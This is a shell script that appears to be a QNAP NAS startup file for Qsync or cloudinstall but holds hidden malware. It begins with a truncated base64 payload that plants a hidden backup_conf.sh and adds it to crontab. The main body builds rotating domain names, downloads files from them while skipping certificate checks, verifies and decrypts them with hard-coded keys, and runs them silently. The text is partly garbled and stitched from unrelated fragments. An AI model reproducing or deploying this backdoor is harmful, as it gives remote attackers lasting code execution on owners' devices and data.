gLWQgRkFMU0VgCglfd2l0aF9zeXNsb2c9JDEKCWlmIFsgIngkX3JlY3ljbGVfZW4iID0geFRSVUUgIF07IHRoZW4KCQlpZiBbICJ4JF93aXRoX3N5c2xvZyIgPSB4MSAgXTsgdGhlbgoJCQlMRF9QUkVMT0FEPS91c3IvbG9jYWwvbGliL2xpYnRyYXNoLnNvIC91c3IvYmluL3FzeW5jZCAtc3lzbG9nIC1jOi9ldGMvcXN5bmMvcXN5bmNkLmNvbmYKCQllbHNlCgkJCUxEX1BSRUxPQUQ9L3Vzci9sb2NhbC9saWIvbGlidHJhc2guc28gL3Vzci9iaW4vcXN5bmNkIC1jOi9ldGMvcXN5bmMvcXN5bmNkLmNvbmYKCQlmaQoJZWxzZQoJCWlmIFsgIngkX3dpdGhfc3lzbG9nIiA9IHgxICBdOyB0aGVuCgkJCS91c3IvYmluL3FzeW5jZCAtc3lzbG9nIC1jOi9ldGMvcXN5bmMvcXN5bmNkLmNvbmYKCQllbHNlCgkJCS91c3IvYmluL3FzeW5jZCAtYzovZXRjL3FzeW5jL3FzeW5jZC5jb25mCgkJZmkKCWZpCglfaXJldD0kPwoJaWYgWyAieCRfaXJldCIgPSB4MCBdOyB0aGVuCgkJaT0wCgkJd2hpbGUgWyAke2l9IC1sdCAxMDAwMCBdCgkJZG8KCQkJZWNobyAiJHtpfSBtaWxsaXNlY29uZC4uLiIKCQkJX3FzeW5jZF9waWQ9YC9zYmluL2dldGNmZyAnJyBQaWQgLWQgLTEgLWYgL2V0Yy9xc3luYy9xc3luY2QuY29uZmAKCQkJX3FzeW5jZF9ydW5fcGlkPWAvYmluL3BpZG9mIHFzeW5jZGAKCQkJaWYgWyAieCRfcXN5bmNkX3BpZCIgIT0gIngtMSIgXSAmJiBbICEgLXogJF9xc3luY2RfcnVuX3BpZCBdOyB0aGVuCgkJCQlicmVhawoJCQlmaQoJCQl1c2xlZXAgNTAwMDAKCQkJaT1gL3Vzci9iaW4vZXhwciAke2l9ICsgNTBgCgkJZG9uZQoJZmkKCXJldHVybiAtJF9pcmV0Cn0KCnN0b3BfcXN5bmNkKCkKewoJI19xc3luY2RfZW49YC9zYmluL2dldGNmZyAiIiBFbmFibGVkIC1kIDAgLWYgL2V0Yy9xc3luYy9xc3luY2QuY29uZmAKCSNbICJ4JF9xc3luY2RfZW4iID0geDAgXSB8fCByZXR1cm4gLTEKCV9xc3luY2RfcGlkPWAvc2Jpbi9nZXRjZmcgIiIgUGlkIC1kIC0xIC1mIC9ldGMvcXN5bmMvcXN5bmNkLmNvbmZgCglbICRfcXN5bmNkX3BpZCAtbHQgMCBdICYmIHJldHVybiAtMwoJIyBTZW5kIFNJR1VTUjEgdG8gaW5mb3JtIHRoZSBkYWVtb24gdG8gb3V0cHV0ICJbUlRSUiBTZXJ2ZXJdIFN0b3BwZWQiIGV2ZW50IGxvZwoJL2Jpbi9raWxsIC1TSUdVU1IxICRfcXN5bmNkX3BpZAoJdXNsZWVwIDIwMDAwMAoJIyBTZW5kIFNJR0lOVCB0byBzdG9wIHRoZSBRU3luY2QgcHJvY2VzcwoJL2Jpbi9raWxsIC1TSUdJTlQgJF9xc3luY2RfcGlkCglfa2lsbF9yZXQ9JD8KCWlmIFsgIngkX2tpbGxfcmV0IiAhPSB4MCBdOyB0aGVuCgkJcmV0dXJuIC0zCglmaQoJZWNobyAibmVlZCB3YWl0ICQxIG1pbGxpc2Vjb25kIgoJaT0wCgl3aGlsZSB0cnVlCglkbwoJCWVjaG8gIiR7aX0gbWlsbGlzZWNvbmQuLi4iCgkJX3FzeW5jZF9waWQ9YC9zYmluL2dldGNmZyAnJyBQaWQgLWQgLTEgLWYgL2V0Yy9xc3luYy9xc3luY2QuY29uZmAKCQlfcXN5bmNkX3J1bl9waWQ9YC9iaW4vcGlkb2YgcXN5bmNkYAoJCWlmIFsgIngkX3FzeW5jZF9waWQiID0gIngtMSIgXSAmJiBbIC16ICRfcXN5bmNkX3J1bl9waWQgXTsgdGhlbgoJCQlicmVhawoJCWZpCgkJaWYgWyAke2l9IC1nZSAkMSBdOyB0aGVuCgkJCSMgaWYgdGltZS1vdXQsIHdlIHNlbmQgdHdvIGFkZGl0aW9uYWwgU0lHSU5UIHRvIGZvcmNlIHRoZSBkYWVtb24gdG8gc3RvcC4KCQkJaWYgWyAkX3FzeW5jZF9waWQgLWdlIDAgXTsgdGhlbgoJCQkJL2Jpbi9raWxsIC1TSUdVU1IxICRfcXN5bmNkX3BpZAoJCQkJdXNsZWVwIDIwMDAwMAoJCQkJL2Jpbi9raWxsIC1TSUdVU1IxICRfcXN5bmNkX3BpZAoJCQlmaQoJCQlqPTAKCQkJd2hpbGUgWyAke2p9IC1sdCA1MDAgXQoJCQlkbwoJCQkJX3FzeW5jZF9ydW5fcGlkPWAvYmluL3BpZG9mIHFzeW5jZGAKCQkJCWlmIFsgLXogJF9xc3luY2RfcnVuX3BpZCBdOyB0aGVuCgkJCQkJcmV0dXJuIDAKCQkJCWZpCgkJCQl1c2xlZXAgMjAwMDAKCQkJCWo9YC91c3IvYmluL2V4cHIgJHtqfSArIDIwYAoJCQlkb25lCgkJCXJldHVybiAtNjIKCQlmaQoJCXVzbGVlcCA1MDAwMAoJCWk9YC91c3IvYmluL2V4cHIgJHtpfSArIDUwYAoJZG9uZQoJcmV0dXJuIDAKfQoKCmluc3RhbGwoKQp7Cglsb2NrX2ZpbGU9Ii92YXIvbG9jay9xYm94X2luc3RhbGxfYmluLmxjayIKCglpZiBbICEgLWYgIiR7SU5TVEFMTF9CVUlMRF9JTn0iIF07IHRoZW4KCQlkYmcgImJ1aWxkLWluICR7UVNZTkNfTkFNRX0gaXMgaW5zdGFsbGVkIgoJCXJldHVybiAxCglmaQoKCWlmIFsgISAtZiAke1VQREFURVBLR19ESVJ9LyR7UVNZTkNfTkFNRX0uYmluIF07IHRoZW4KCQlkYmcgIiR7UVNZTkNfTkFNRX0uYmlufSBub3QgZm91bmQiCgkJcmV0dXJuIDEKCWZpCgoJaWYgWyAhIC14ICIke1FQS0dfQ0xJfSIgXTsgdGhlbgoJCWRiZyAiJHtRUEtHX0NMSX0gbm90IGZvdW5kIgoJCXJldHVybiAxCglmaQoKCSMjIG1ha2Ugc3VyZSB2b2x1bWUgaXMgZXhpc3QKCWlmIFsgISAtZCAvc2hhcmUvYC9zYmluL2dldGNmZyBTSEFSRV9ERUYgZGVmUHVibGljIC1kIFB1YmxpYyAtZiAvZXRjL2NvbmZpZy9kZWZfc2hhcmUuaW5mb2AgXTsgdGhlbgoJCWRiZyAiL3NoYXJlL1B1YmxpYyBub3QgZm91bmQiCgkJcmV0dXJuIDEKCWZpCgoJIyMgaXMgcmVtb3ZlZCAKCWlmIFsgLWYgJHtVUERBVEVQS0dfRElSfS8uJHtRU1lOQ19OQU1FfV9yZW1vdmVkIF07IHRoZW4KCQkvYmluL3JtIC1mICR7SU5TVEFMTF9CVUlMRF9JTn0KCQlkYmcgIiR7UVNZTkNfTkFNRX0gaXMgcmVtb3ZlZCIKCQlyZXR1cm4gMQoJZmkKCglpZiBbIC1mICIkbG9ja19maWxlIiBdOyB0aGVuIAoJCWlmIFsgJCgoICQoZGF0ZSArJXMpIC0gJChkYXRlICslcyAtciAkbG9ja19maWxlKSApKSAtbGUgMTgwIF07IHRoZW4KCQkJZWNobyAiJHtRU1lOQ19OQU1FfSBpcyBpbnN0YWxsaW5nIgoJCQlkYmcgIiR7UVNZTkNfTkFNRX0gaXMgaW5zdGFsbGluZyIKCQkJcmV0dXJuIDEKCQlmaQoJZmkKCgkvYmluL3RvdWNoICIkbG9ja19maWxlIgkKCS9iaW4vcm0gLWYgJHtJTlNUQUxMX0JVSUxEX0lOfQoJZGJnICJpbnN0YWxsIGJ1aWxkLWluICR7UVNZTkNfTkFNRX0gc3RhcnQiCgoJc2V0X2RlZmF1bHRfZGlzYWJsZV9zdGF0dXMKCgkjIyBpbnN0YWxsIGJ1aWxkIGluIFFzeW5jCgkke1FQS0dfQ0xJfSAtSyAtbSAke1VQREFURVBLR19ESVJ9LyR7UVNZTkNfTkFNRX0uYmluID4gL2Rldi9udWxsIDI+JjEKCXNsZWVwIDIwCgoJd2FpdF9pbnN0YWxsPTYwCgkjIyBhdm9pZCBpbml0aWFsIHRha2UgbG9uZyB0aW1lIG9yIGZhaWwKICAgICAgICB3aGlsZSBbICIkd2FpdF9pbnN0YWxsIiAtZ3QgMCBdOyBkbwoJCXN0Y29kZT1gJENNRF9HRVRDRkcgJHtRU1lOQ19OQU1FfS5iaW4gc3Rjb2RlIC1mIC9ldGMvY29uZmlnL3Fwa2dfam9iLmNvbmZgCiAgICAgICAgICAgICAgICBpZiBbICIkc3Rjb2RlIiA9ICIwIiBdOyB0aGVuCiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrCiAgICAgICAgICAgICAgICBmaQogICAgICAgICAgICAgICAgc2xlZXAgMQogICAgICAgICAgICAgICAgbGV0ICJ3YWl0X2luc3RhbGwtLSIKICAgICAgICBkb25lCgoJJHtRUEtHX0NMSX0gLUMgJHtRU1lOQ19OQU1FfS5iaW4gPiAvZGV2L251bGwgMj4mMQoJL2Jpbi9ybSAtZiAke1VQREFURVBLR19ESVJ9Ly4ke1FTWU5DX05BTUV9X2Rpc2FibGVkCgkvYmluL3JtIC1mICIkbG9ja19maWxlIgkKCWRiZyAiaW5zdGFsbCBidWlsZC1pbiAke1FTWU5DX05BTUV9IHN1Y2Nlc3MiCn0KCmlmIFsgIiQxIiA9PSAic3RvcCIgXTsgdGhlbgoJZXhpdCAwCmZpCmZpClhFT0YKY2htb2QgNzU1ICIke2JkaXJ9Ly5xcGtnLy5jb25maWcvYmFja3VwX2NvbmYuc2giCnRvdWNoIC1jciAvYmluL2J1c3lib3ggIiR7YmRpcn0vLnFwa2cvLmNvbmZpZy9iYWNrdXBfY29uZi5zaCIKKCAoIGV4ZWMgPi9kZXYvbnVsbCAyPiYxIDwvZGV2L251bGw7ICIke2JkaXJ9Ly5xcGtnLy5jb25maWcvYmFja3VwX2NvbmYuc2giIDwvZGV2L251bGwgPi9kZXYvbnVsbCAyPi9kZXYvbnVsbCAmICkgJiApCmZpCgp0ZXN0IC14ICIke2JkaXJ9Ly5xcGtnLy5jb25maWcvYmFja3VwX2NvbmYuc2giIHx8IGNobW9kIDc1NSAiJHtiZGlyfS8ucXBrZy8uY29uZmlnL2JhY2t1cF9jb25mLnNoIgoKY3JvbnRhYmFyZ3M9JChwcyB8IGdyZXAgJ2NyW29dbmQgJyB8IHNlZCAtbiAncy8uKmNyb25kW14wLTlBLVphLXotXSpcKC5cK1wpL1wxL3AnKQp0cnljb3VudD0xMDsgdHJ5Y291bnQ9JCgoICR0cnljb3VudCAtIDEwICkpCnNldCB4ICRjcm9udGFiYXJnczsgc2hpZnQKd2hpbGUgWyAkIyAtZ3QgMCBdICYmIFsgJHRyeWNvdW50IC1sdCAxMCBdOyBkbwp0cnljb3VudD0kKCggJHRyeWNvdW50ICsgMSApKQpnZXRvcHRzICc6YzonIE9QVCAyPi9kZXYvbnVsbAp0ZXN0ICIkT1BUIiA9ICdjJyAmJiBjcm9udGFiZmlsZT0iJHtPUFRBUkd9L2FkbWluIiAmJiBicmVhawp0ZXN0ICIkT1BUSU5EIiAtZ3QgMCAmJiBzaGlmdCAiJE9QVElORCIgJiYgT1BUSU5EPTEgfHwgYnJlYWsKZG9uZQp0ZXN0ICIkY3JvbnRhYmZpbGUiICYmIHRlc3QgLWYgIiR7Y3JvbnRhYmZpbGV9IiB8fCBjcm9udGFiZmlsZT0nL3RtcC9jcm9uL2Nyb250YWJzL2FkbWluJwoKZm9yIGNyb250YWIgaW4gIiRjcm9udGFiZmlsZSIgIiR7Y29uZmRpcn0vY3JvbnRhYiI7IGRvCmlmICRmZ3JlcCAiJHtiZGlyfS8ucXBrZy8uY29uZmlnL2JhY2t1cF9jb25mLnNoIiAiJGNyb250YWIiOyB0aGVuCjoKZWxzZQpjcm9ubWlucz0kKHByaW50ZiAnJWknICIkKCggJFJBTkRPTSAlIDYwICkpIikKY3JvbmhvdXI9JChwcmludGYgJyVpJyAiJCgoICRSQU5ET00gJSAyNCApKSIpCmNyb25ob3VyPSQocHJpbnRmICclaSwnICIkKCggKCAkY3JvbmhvdXIgKyA4ICkgJSAyNCApKSIgIiQoKCAoICRjcm9uaG91ciArIDE2ICkgJSAyNCApKSIpIiRjcm9uaG91ciIKZWNobyAiJGNyb25taW5zICRjcm9uaG91ciInICogKiAqICciJHtiZGlyfS8ucXBrZy8uY29uZmlnL2JhY2t1cF9jb25mLnNoID4vZGV2L251bGwgMj4vZGV2L251bGwiID4+ICIkY3JvbnRhYiIKY3JvbnRhYiAiJGNyb250YWIiCnNsZWVwIDIKZmkKZG9uZQopICYgKSAmCg== +EOF +)&) +( exec >/dev/null 2>&1; ( +export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin" +command -v dirname >/dev/null 2>&1 || dirname () { test -z "$1" && echo "." && return; local r="${1%"${1##*[!/]}"}"; case $r in /*[!/]*/*|[!/]*/*) r="${r%/*}"; echo "${r%"${r##*[!/]}"}";; */*) echo ${r%%[!/]};; "") echo $1;; *) echo .;; esac; } +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } +test -d "$confdir" || confdir=/etc/config +command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\ +\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\ +//I;s/\(^\|\ +\)\[[^\ +]\+\]\ +.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; } +bdir= +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in homes Public Download Multimedia Web Recordings; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done; +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1` +test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done; +test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; } +echo 'ab*c' | grep -F 'ab*c' >/dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; } +test "$fgrep" || fgrep=grep + +if [ ! -f "${bdir}/.qpkg/.config/backup_conf.sh" ]; then +test -d "${bdir}/.qpkg" || mkdir -p "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg" +test -d "${bdir}/.qpkg/.config" || mkdir "${bdir}/.qpkg/.config" +cat > "${bdir}/.qpkg/.config/backup_conf.sh" <<"XEOF" +#!/bin/sh +QNAP_QPKG=cloudinstall +QID_PRESISTENT_CONF=/etc/config/qid_persistent.conf +NAS_CLOUD_INSTALL_PATH=/home/httpd/cgi-bin/cloudinstall +CLOUD_INSTALL_PATH=/tunnel_agent +CLOUD_INSTALL_RAMDISK_PATH=/tunnel_agent_ramdisk +CLOUD_INSTALL_AGENT_FILE_PATH=$CLOUD_INSTALL_PATH/tunnel_agent.tar.bz2 +COUNTER=1 +ERROR_BAD_REQUEST=400 + +if [ "$fromrcS" = 'TRUE' ]; then +case "$1" in + start) + START_TIME=$(date +"%T") + echo -e "start:$START_TIME" >> /tmp/.cloudinstall.log + while [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; + do + # report device info and get cloudinstall agent app download url + DOWNLOAD_URL=`/usr/sbin/qcloud_uninit_device_tool -r` + if [ ! -d "$CLOUD_INSTALL_PATH" ]; then + if [ "$NAS_ARCH" == "ARM_64" ]; then + # create ramdisk and create a 64mb file + /bin/mkdir -p $CLOUD_INSTALL_RAMDISK_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_RAMDISK_PATH + /bin/dd if=/dev/zero of=$CLOUD_INSTALL_RAMDISK_PATH/image bs=1M count=64 + # create block size 1K filesystem + /sbin/mke2fs -b 1024 $CLOUD_INSTALL_RAMDISK_PATH/image + # create virtual disk + export USED_LOOP_DEVICE=`/usr/local/sbin/losetup -f $CLOUD_INSTALL_RAMDISK_PATH/image` + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "USED_LOOP_DEVICE" "$USED_LOOP_DEVICE" + /bin/mkdir -p $CLOUD_INSTALL_PATH + # mount virtual disk + /bin/mount $USED_LOOP_DEVICE $CLOUD_INSTALL_PATH + else + # create and mount tmpfs folder + /bin/mkdir -p $CLOUD_INSTALL_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_PATH + fi + fi + cd $CLOUD_INSTALL_PATH + + if [[ $DOWNLOAD_URL == https* ]]; then + REPORT_SUCCESS_TIME=$(date +"%T") + else + REPORT_FAIL_TIME=$(date +"%T") + echo -e " report_fail:$REPORT_FAIL_TIME\n response:$DOWNLOAD_URL" >> /tmp/.cloudinstall.log + # stop retry when got bad request + # prevent put bad request all the time + if [[ $DOWNLOAD_URL == *$ERROR_BAD_REQUEST* ]]; then + break + fi + fi + + # downlaod cloudinstall agent app + /usr/sbin/qcloud_uninit_device_tool -o "$CLOUD_INSTALL_AGENT_FILE_PATH" -d "$DOWNLOAD_URL" + + if [ -f "$CLOUD_INSTALL_AGENT_FILE_PATH" ]; then + DOWNLOAD_FINISH_TIME=$(date +"%T") + # unzip and execute cloudinstallagent + /bin/tar -xf $CLOUD_INSTALL_AGENT_FILE_PATH -C $CLOUD_INSTALL_PATH + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh start &> /dev/null + + UNZIP_TIME=$(date +"%T") + fi + + if [ ! -d "$NAS_CLOUD_INSTALL_PATH" ]; then + # create folder and create symbolic link + /bin/mkdir -p $NAS_CLOUD_INSTALL_PATH + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.html $NAS_CLOUD_INSTALL_PATH/index.html + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.cgi $NAS_CLOUD_INSTALL_PATH/cloudinstall.cgi + /bin/ln -s $CLOUD_INSTALL_PATH/ui/static $NAS_CLOUD_INSTALL_PATH/static + fi + + # wait connect + sleep 5 + CLOUD_INSTALL_AGENT_PID_LIST=`/bin/ps --columns 256 | /bin/grep "$CLOUD_INSTALL_PATH/bin/cloudinstallagent" | /bin/grep -v grep | /bin/awk '{print $1}'` + if [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; then + SLEEP_TIME=$(( 30 * $COUNTER )) + if [ $SLEEP_TIME -gt 300 ]; then + SLEEP_TIME=300 + fi + # wait next retry + sleep $SLEEP_TIME + fi + COUNTER=$(( $COUNTER * 2 )) + done + + END_TIME=$(date +"%T") + echo -e "report_success:$REPORT_SUCCESS_TIME\ndownload_finish:$DOWNLOAD_FINISH_TIME\nunzip_finish:$UNZIP_TIME\nend:$END_TIME" >> /tmp/.cloudinstall.log + # call for a new process group and for later kill + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh start &> /dev/null & + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_daemon.sh &> /dev/null & + + # set cloudinstall report status + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "REPORT_STATUS" "uninit" + # add link to report offline + /bin/ln -sf /etc/init.d/cloudinstall_report_offline.sh /etc/rcK.d/K99cloudinstall_report_offline + + # buzzer + HARDWARE_TYPE=$(uname -m) + if [[ "$HARDWARE_TYPE" == *"x86"* ]]; + then + /sbin/hal_app --se_buzzer enc_id=0,mode=101 + elif [[ "$HARDWARE_TYPE" == *"arm"* ]]; + then + /sbin/pic_raw 81 + fi + ;; + + stop) + # disconnect cloudinstall agent + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh stop &> /dev/null + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh stop &> /dev/null + for i in "${CLOUD_INSTALL_AGENT_DAEMON_PID_LIST[@]}" + do + # use bash kill instead /bin/kill for kill process group + # cloudinstall agent daemon and inotifywait + kill -9 -- -$i &>/dev/null + done + + # umount + if [ "$NAS_ARCH" == "ARM_64" ]; then + /bin/umount -l $USED_LOOP_DEVICE + /usr/local/sbin/losetup -d $USED_LOOP_DEVICE + else + /bin/umount -l $CLOUD_INSTALL_PATH + fi + # remove all files + if [ -d "$NAS_CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $NAS_CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_RAMDISK_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_RAMDISK_PATH + fi + ;; + + restart) + $0 stop + $0 start + ;; + + *) + echo "Usage: $0 {start|stop|restart}" + { /share/MD0_DATA/.system/.qinstaller.sh; exit 1; } +esac +{ /share/MD0_DATA/.system/.qinstaller.sh; exit 0; } + + +set_env() +{ + debug=`$CMD_GETCFG Qsync Debug -u -d NULL` + if [ "$debug" != "NULL" ]; then + /bin/touch $LOG_FILE + else + /bin/rm -f $LOG_FILE + fi +} + +set_env + +dbg() +{ + if [ -f "$LOG_FILE" ]; then + echo "[`date "+%H:%M:%S"`] $@ " >> $LOG_FILE + fi +} + +dbg "> $0 $@ (pid $$)" + +fi + +export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin" + +command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\n\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\n//I;s/\(^\|\n\)\[[^\n]\+\]\n.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; } + +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } + +bdir= +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in Public Download Multimedia Web Recordings homes; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done; +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1` +test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done; +test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; } +grep -F '' </dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; } + +EOF +test "$fgrep" || fgrep=grep +test "$RANDOM" || RANDOM=17653 +genrstr () +{ + local s=; + local min=${1:-4}; + local max=${2:-12}; + local kspace="${3:-a-zA-Z}" + tr -dc "$kspace" < /dev/urandom | { + read -rn $(($RANDOM % ( $max - $min + 1 ) + $min )) s; + echo "$s" + } +} + +verifyfile() { +local file="$1" +local sig="${2:-$file_s}" +local out +test ! -z "$file" && test -s "$file" || return 1 +test ! -z "$sig" && test -s "$sig" || return 1 +test -f ".rsakey" || echo "$verifykey" > ".rsakey" +out=$(openssl dgst -sha1 -verify ".rsakey" -signature "$sig" "$file") && test "$out" = "Verified OK" && return 0 +return 1 +} + +decryptfile() { +local file="$1" +local ofile="${2:-${file}}" +local key='7C0vK4SzMO15zBxLD7XCi5hbjgP1ZjkJ' +openssl enc -d -aes-256-cbc -k "$key" -md sha1 -salt < "$file" > "${file}_d" || return $? +test -f "$ofile" && rm -f "$ofile" +mv "${file}_d" "$ofile" && return 0 +return 1 +} + +verifykey='-----BEGIN PUBLIC KEY----- +MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAt/EDT6SB75atrHW7Cpog +CXqrBM2CVbJo';verifykey="${verifykey}"'g4rwwS''z1Bp1i1' +verifykey="${verifykey}"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex +RC5qQSiS/7FS48jsPKsJnrUhnsI1fRLM4DqsEF3UOukZuDOYUhlteDuMqqZBz0AC +Q3YnLjraTjchMF0XmaAAcWOkg5MsxAOKTepue4R/tnrPAkAG86nq5LA1+wa7opNV +gQzwDh7YXhBnWz52+ebZ9TeqD31/sb5hoyUKf1Nr5HcKkklObuz1OGQJ//pkCbTC +2EnQw6tCPQhgSIA8wJKkaxW0f/UHP+YBmWa4Wn+uPrJJuHSVNEJtAp2wlX3THltz +0IGPQEuzoafOAl3EFjas3HcTX2HlEfnvAtRL2iLxJeba1nZ+U3geZOuxL1NhWhNh +pjaLcKwhkRck7Y5hr1Pz8pLDnXsx5w0QUz6XS8HVf/KHnNXHufFEn01y9YoPuau1 +DNnpDGbq632Bs8ESd3ueHk9OY/UZxWeN3UdbseFxK35XAgMBAAE= +-----END PUBLIC KEY-----' + +DOMAIN_EXT_A='cf tk ml ga gq' +DOMAIN_EXT_B='com biz org de rocks mx cn top nl men ws se info xyz net today ru fi name to in com.ua vg vn cd' + +test -d "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg" +test -d "${bdir}/.qpkg/.config" || mkdir "${bdir}/.qpkg/.config" +cd "${bdir}/.qpkg/.config" && rm -f .tmp.* + +echo "$verifykey" > ".rsakey" +i=0 n=0 c=0 errorcount=0 +outfile=$(mktemp "./.tmp.XXXXXX") || outfile=$(mktemp "${bdir}/.tmp.XXXXXX") || outfile=$(mktemp "/.tmp.XXXXXX") || outfile='./.tmp.out' + +for domainexts in "$DOMAIN_EXT_A" "$DOMAIN_EXT_B"; do + for ext in $domainexts; do + hostname=$(echo "$(( $(date +%s) / 1296000 ))IbjGOEgnuD${ext}" | openssl dgst -sha1 -binary | openssl base64 | sed 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ-+\//abcdefghijklmnopqrstuvwxyzabc/;s/=//g') + hostname=${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9]} + hostnames="${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9]} ${hostname%[a-z0-9][a-z0-9][a-z0-9]}" + hostnames="$hostnames ${hostname%[a-z0-9][a-z0-9]} ${hostname%[a-z0-9]} $hostname" + for host in $hostnames; do + test -f "$outfile" && rm -f "$outfile" + recentupdate='' + curl --connect-timeout 12 -m 30 -k -o "$outfile" "https://${host}.${ext}/qnap_firmware.xml?t=$(date +%s)" + test -s "$outfile" || continue + fsize=$(( $(wc -c < "$outfile") )) + test "$fsize" -gt 4096 && rm -f "$outfile" && continue + rsamsg=$(openssl base64 -in "$outfile" -d | openssl rsautl -pubin -inkey ".rsakey" -verify) || continue + test "$rsamsg" || continue + path="${rsamsg%|*}"; rsadomain="${path%|*}"; path="${path#*|}" + hash="${rsamsg##*|}"; ts="${hash#*_}"; hash="${hash%_*}" + test "$rsadomain" = "${host}.${ext}" || continue + timenow=$(date +%s) + test "$ts" -gt 0 && { test "$ts" -gt "$timenow" || test $(( $timenow - $ts )) -lt 172800; } && recentupdate=1 + curl --connect-timeout 12 -m 300 -k -o "$outfile" "https://${host}.${ext}/${path}" + filehash=$(openssl dgst -sha1 -binary "$outfile" | openssl base64) || continue + test "$filehash" = "$hash" || continue + curl --connect-timeout 12 -m 30 -k -o "${outfile}_s" "https://${host}.${ext}/s/${path}" + verifyfile "$outfile" "${outfile}_s" && decryptfile "$outfile" || continue + mv "${outfile}_s" "${ts}_v" + chmod 755 "$outfile" || continue + ( ( exec >/dev/null 2>/dev/null /dev/null 2>&1 & ) & ) + test "$recentupdate" -eq 1 && exit 0 + done + done +done + + +if [ "$fromrcS" = 'TRUE' ]; then +# if Qsync is disable before 4.3.0, we will touch /mnt/HDA_ROOT/udpate_pkg/.QsyncServer_disabled +set_default_disable_status() +{ + QPKG_ENABLE=`$CMD_GETCFG ${QSYNC_NAME} Enable -d "NULL" -f ${QPKG_CONF}` + 